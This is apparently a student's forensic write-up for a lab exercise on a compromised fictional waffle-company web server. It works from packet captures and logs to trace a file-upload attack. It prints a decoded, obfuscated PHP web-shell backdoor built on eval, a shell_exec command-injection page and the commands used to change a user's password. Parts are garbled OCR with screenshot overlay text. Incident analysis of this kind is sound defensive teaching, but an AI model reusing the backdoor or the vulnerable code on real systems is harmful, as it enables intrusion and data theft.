### Final

#### **Background**

ENPM685 Waffle Co is a small food/tech start up that is rapidly expanding. What started as a small "mom and pop" waffle shop has blown up to a massive tech startup with the creation of their mobile app. Shortly after releasing their mobile waffle ordering app the company took off as customer's flocked to the app's promise of "push button, get waffle." With the creation of their proprietary "avocado waffle" their customer base has expanded one hundred-fold. ENPM685 Waffle Co is still a small operation behind the scenes and the former cashier-turned-web developer Nathan is working on improving the company's website. Despite being a mobile app/tech mega power their website until recently just listed information about the business and their waffles. Not wanting to miss out on the opportunity for capturing the "old people who don't know how to use mobile phones" demographic Nathan has begun work on adding online ordering of waffles from their website. To do this he created a development system and begun work. After taking a short vacation he came back to a very panicked Julia, the company's DBA saying that she can no longer log into the dev server and thinks her password may have been changed. Nathan then checked his email and discovered an email message pointing to a Pastebin post claiming to have all of the company's data and offering to sell it to the highest bidder. Nathan believes it's possible that the compromise is related to the development website he has been setting up since it was not "fully setup" and to save time he decided to use production data.

### Notes from Nathan (The Web Developer/Sysadmin)

- I was making an export of the VM for you but heard an alarm go off and I thought it was the attacker again. In a panic I deleted the VM. It turns out it was just my toaster telling me that my waffle was done. What I was able to export is described below.
- The website is hosted out of /var/www/html/ and is written in PHP. A copy of the web directory is in the web.tar tarball.
- The contents of Julia's home directory are in the file julia-home.tar
- The logs (everything in /var/log) are in logs.tar. I was grabbing them to put into Splunk, maybe that would be helpful for your analysis too?
- For debugging purposes, I had a tcpdump session running which may have captured the attacker's traffic. The pcap is available as final.pcap


#### **Attack Narrative:**


Based on my analysis, it appears that the website has a vulnerability in which it accepts all types of file uploads without verifying their format. This allowed an attacker to upload a malicious PHP file, which gave them access to a web shell. To avoid detection, the attacker transmitted scrambled inputs that could only be understood and executed by the malicious PHP file. I observed that the HTTP post messages revealed these scrambled inputs.

Further analysis revealed that the attacker used the web shell access to navigate to the admin folder and modify the password file, granting them administrative access to the site. With this access, the attacker was able to use the user account credentials of 'Julia' to run various commands and leak sensitive data.


### Q1. How did the attacker get in?


- The Waffle Co. website allows users to upload waffle pictures for a chance to win a \$20 credit.
- The web developer did not implement checks to ensure that only image files can be uploaded.
- This lapse in the website allowed the attacker to upload a malicious PHP file capable of remote execution.
- The attacker exploited the file upload vulnerability to carry out harmful actions on the website.






According to Wireshark image shown above, the attacker began by uploading a "trollface.jpg" file to test the vulnerability of the website. By examining the location where the image was stored in the web application, the attacker gained insight into the website's file system.





After performing a successful test with a basic image upload to identify the location of the uploaded files, the attacker proceeded to upload a malicious PHP file. The uploaded file was designed to exploit the vulnerability of the website and execute remote commands by spawning a www-shell.




• The uploaded PHP file is named "pwn3d.php" as shown in the below image

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
  Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Referer: http://172.28.128.5/upload.php\r\n
                                                                         00204047610000224721062600515\r\n
  Content-Type: multipart/form-data; boundary=-----
                                                           à
                                                                  *Untitled 1 - Mousepad
  Content-Length: 1036\r\n
  Connection: keep-alive\r\n
                                                           File Edit Search View Document Help
  Upgrade-Insecure-Requests: 1\r\n
  r\n
                                                           • 🕒 😬 🖫 🗹 ×
                                                                                 5 €
                                                           1 Tanishq Javvaji
  [HTTP request 1/1]
                                                           2 UID 119070185
  File Data: 1036 bytes
MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "------
                                                                                                 ----902840
  [Type: multipart/form-data]
  First boundary: -----
                                 -----90284047619889334731962600515\r\n

    Encapsulated multipart part: (application/x-php)

   Content-Disposition: form-data; name="fileToUpload"; filename="pwn3d.php"\r\n
    Content-Type: application/x-php\r\n\r\n
  ▶ Media Type
  Boundary: \r\n-----90284047619889334731962600515\r\n
  Encapsulated multipart part:
    Content-Disposition: form-data; name="submit"\r\n\r\n
   Data (6 bytes)
  Last boundary: \r\n-------------90284047619889334731962600515--\r\n
```

- Obfuscation techniques, such as encoding or encryption, have been used to make the code difficult to interpret.
- The file is highly obfuscated, likely in an attempt to evade detection by firewall and anti-virus software.




 By using online decoding tools, the PHP file was decoded and the underlying code was revealed in the snapshot provided.

- The PHP script in the code uses '@file get contents("php:/input")' and variables '\$kh' and '\$kf' to extract a specific portion of the raw input.
- Due to the input's obfuscation, additional techniques, including base64 decoding, gzuncompress, and a user-defined function 'x,' are required before executing the PHP code.
- The 'eval()' function is then used to execute the command provided on the system, functioning as a shell.
- Although the code is disguised, it essentially creates a backdoor agent.
- After uploading the agent to the target web folder and asking the webserver to run the PHP code,
   the attacker is granted remote access.
- The attacker needs to communicate with the agent, which is why the "pwn3d" file is available through a URL.


```
(kali® kali)-[~/Downloads]
cat a783ab97be2f4cc2a09720d45558eae6_php.txt
           Decoded by unphp.net */
<?php function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $0="";</pre>
                                         \bigcirc
                                                                                                                                                                                                                                                  *Untitled 1 - Mousepad
                                                                                  return $0:
                                                                                                                                                                                                                                                  File
                                                                                                                                                                                                                                                                         Edit Search View Document
                                                                                                                                                                                                                                                                                                                                                                                                                                Help
}
$k="4d4098d6";
$kh="4e163d272695";
$kf="9455d046fd7c";
$p="f8ewVri1Yd8RJkIZ";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($k);
}
                                                                                                                                                                                                                                                                                           먭
                                                                                                                                                                                                                                                     1 Tanishq Javvaji
                                                                                                                                                                                                                                                     2 UID 119070185
                                         $l=strlen($t);
$o="";
                                         $\family \text{$\family \text{\family \text{\finity \finity \finity \finity \text{\finity \finity \fin
                                         return $o;
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1{
                                       andcart();
anob_start();
eval(agzuncompress(ax(base64_decode($m[1]),$k)));
                                       $o=@ob_get_contents();
@ob_end_clean();
```


As shown below I have followed the TCP stream to understand client and server responses.



# Q2. What did the attacker do once they were on the system? The attacker seemed to be exploring the directory structure of the web application.


- By utilizing the remote command execution, the attacker carried out a directory traversal attack on the web application.
- The attacker used the PHP code to identify vulnerable pages in the application, including the
  password.php file that handles user password updates. However, as shown in the code, the
  underlying shell code modifies the web-server password instead.
- The attacker extracted the raw data using the PHP @file get contents () method and sent multiple POST requests to pwn3d. Since the shell obtained via Weevely was a 'www-data' shell with limited permissions to maintain persistence on the machine or modify the user's password, the attacker searched for the password.php and change-pass.sh script files.






- The attacker takes advantage of a shell script located in the admin folder to change the password directly.
- Using this script, the attacker remotely changes the password by sending commands through HTTP.

```
cmd.php
  Open ▼ 🖪
1 <h1>Command Injection</h1>
      >Network connectivity test (ping a host)</h2>
       m name="ping" action="#" method=post>
6 Enter an IP address:<input type="text" name="ip" size="30">
7 <input type="submit" name="Submit" value="Submit">
8 </form>
*Untitled 1 - Mousepad
                                                                                                                          File Edit Search View Document Help
               $ POST[ 'Submit' ] ) ) {
            // Get input
                                                                                        • □ □ □ ×
                                                                                                                     5 €
                                                                                        1 Tanishq Javvaji
            // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                                                                                        2 UID 119070185
                    // Windows
$cmd = shell_exec( 'ping ' . $target );
                    // *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
            print "<b>Command results:</b><br><br>";
28
   <a href="/index.php">Back to the main page</a>
```





• By using the change-pass.sh script, the attacker changes 'Julia' password to 'hacked' as captured in the wireshark image below.

```
Frame 308: 584 bytes on wire (4672 bits), 584 bytes captured (4672 bits)
  Ethernet II, Src: PcsCompu_30:82:aa (08:00:27:30:82:aa), Dst: PcsCompu_db:de:fa (08:00:27:db:de:fa)
Internet Protocol Version 4, Src: 172.28.128.4, Dst: 172.28.128.5
  Transmission Control Protocol, Src Port: 48006, Dst Port: 80, Seq: 1, Ack: 1, Len: 518
Hypertext Transfer Protocol
  HTML Form URL Encoded: application/x-www-form-urlencoded


• Form item: "username" = "julia"
       Key: username
       Value: julia
    Form item: "passwd" = "hacked"
       Key: passwd
       Value: hacked
  → Form item: "Submit" = "Change password"
       Key: Submit
       Value: Change password
  Form item: "pwdchange" = "process"
       Key: pwdchange
       Value: process
```


 We can also confirm the password has been changed by looking at the auth.log file as shown in the below figure.

```
223 Feb 14 16:44:35 midterm sudo: pam_unix(sudo:session): session opened for user root by midterm(uid=0)
224 Feb 14 16:44:18 midterm sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/var/www/html/admin/change-
pass.sh julia hacked
225 Feb 14 10:44:18 midterm sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
226 Feb 14 16:44:19 midterm passwd[2072]: pam_unix(passwd:chauthtok): password changed for julia
227 Feb 14 16:44:19 midterm sudo: pam_unix(sudo:session): session closed for user root
228 Feb 14 16:44:45 midterm sshd[2081]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=172.28.128.4 user=julia
229 Feb 14 16:44:47 midterm sshd[2081]: Failed password for julia from 172.28.128.4 port 34608 ssh2
230 Feb 14 16:44:49 midterm sshd[2081]: Accepted password for julia from 172.28.128.4 port 34608 ssh2
231 Feb 14 16:44:49 midterm sshd[2081]: pam_unix(sshd:session): session opened for user julia by (uid=0)
```

 the attacker was able to launch an SSH session using the SSHv2 protocol. This allowed them to gain remote access to the system and carry out the command as shown in below which revealed sensitive data.

#### Q3. Was sensitive data accessed? How can you tell if it was/was not accessed?





 Once the attacker gained access to the system through SSH, they executed a command as shown in the below image to gather server data and saved it in a dump.txt file.

```
232 Feb 14 16:46:46 midterm sudo: julia : TTY=pts/0 ; PWD=/home/julia ; USER=root ; COMMAND=/bin/mv .dump.txt /var/www/html
233 Feb 14 16:46:46 midterm sudo: pam_unix(sudo:session): session opened for user root by julia(uid=0)
234 Feb 14 16:46:46 midterm sudo: pam_unix(sudo:session): session closed for user root
235 Feb 14 16:47:53 midterm sudo: pam_unix(sudo:session): session closed for user root
```


By analysing the dump.txt file, it is clear that sensitive data was obtained and saved by the attacker.

```
-- Dumping data for table 'customers' -- Dumping data for table 'customers' -- Dumping data for table 'customers' WRITE;

/*!40000 ALTER TABLE 'customers' VALUES (1, 'Bob Dobbs', 'C22B5F9178342609428D6F51B2C5AF4C0BDE6A42', 'enpm685ägmail.com', '123
-4-56-789', 'DA2F241AB87848D606B72168CE0G95FB078AFE3E', '12/19'),(2, 'Alice Alice', 'SBAA61E4C9B95F3F0682250B6CF8331B
7EE68FD8', 'a2agmail.fake', '111-222-3456', '46B021F6EC85A201282023E38C6B9C100658783CE', '3/21'),(3, 'Sally Brown', 'FD1
286353570C5703799BA76999323B7C7447B06', 'sally@go.away', '999-888-7777', 'FB66E5A66070886FCC51F61E2321A16DE633E277',
'8/19'),(4, 'Brad Pitiful', '5B82762BC0F6615252D03A794249473FAB24B885', 'boo@a.ghost.org', '444-555-6789', 'D9785C1CB2
8924A6F6236C29D051581B63B8F185', '9/24');
/*!40000 ALTER TABLE 'customers' ENABLE KEYS */;
UNLOCK TABLES;
```

From the above image, we can see that the attacker extracted sensitive data such as email addresses,
 phone numbers.

• The attacker also gained access to order data of the customers as shown in the above image.



• The attacker was able to extract recipes of the company which could be unique to their company.

# Q4. Were you able to learn anything about the attacker? (What were their attack tools, tactics, techniques, and procedures?)

- The attacker attempted a file upload vulnerability and used attack tools to create a malicious PHP payload to gain a shell and extract sensitive data.
- The attack was analysed using the Cyber kill chain framework by Lockheed Martin and classified into eight tactics and techniques.



- 1. Reconnaissance: The attacker first found a vulnerable website.
- 2. Intrusion: The attacker found a file upload vulnerability and tested the validation by sending a troll face emoji first.
- 3. Exploitation: The attacker sent a malicious payload of a shell script as a php file as an input to gain remote shell access on the website.
- 4. Privilege Escalation: The attacker changed the password of the user 'Julia' by using change-pass.sh script present in the admin and used the changed password to escalate privileges.
- 5. Lateral movement: The attacker moved directories and found the admin folder which contained password scripts.
- 6. Obfuscation: The attacker obfuscated the malicious payload by encryption or base64\_encoding which lead to not being detected by the anti-virus software or firewalls. The attacker also covered his tracks by deleting the directory history of the user.

```
File Actions Edit View Help
  -(kali®kali)-[~/.../final/julia-home/home/julia<sup>1</sup>
s cat .bash_history
                                                          *Untitled 1 - Mousepad
exit
                                                 File Edit Search View Document Help
passwd
clear
                                                  • 🖫 😬 🖫 ×
                                                                           50
exit
passwd
                                                  1 Tanishq Javvaji
exit
                                                  2 UID 119070185
  -(kali®kali)-[~/…/final/julia-home/home/julia
```

- 7. Denial of service: the attacker changed the password of the user which led to denial of service for the user.
- 8. Exfiltration: The attacker gained access to sensitive data such as email addresses, phone numbers etc.

## References

[1] M. Buckbee, "What is The Cyber Kill Chain and How to Use it Effectively," Varonis, 23 March 2023. [Online]. Available: https://www.varonis.com/blog/cyber-kill-chain.

The Honor Pledge: "I pledge on my honor that I have not given or received any unauthorized assistance on this assignment/examination."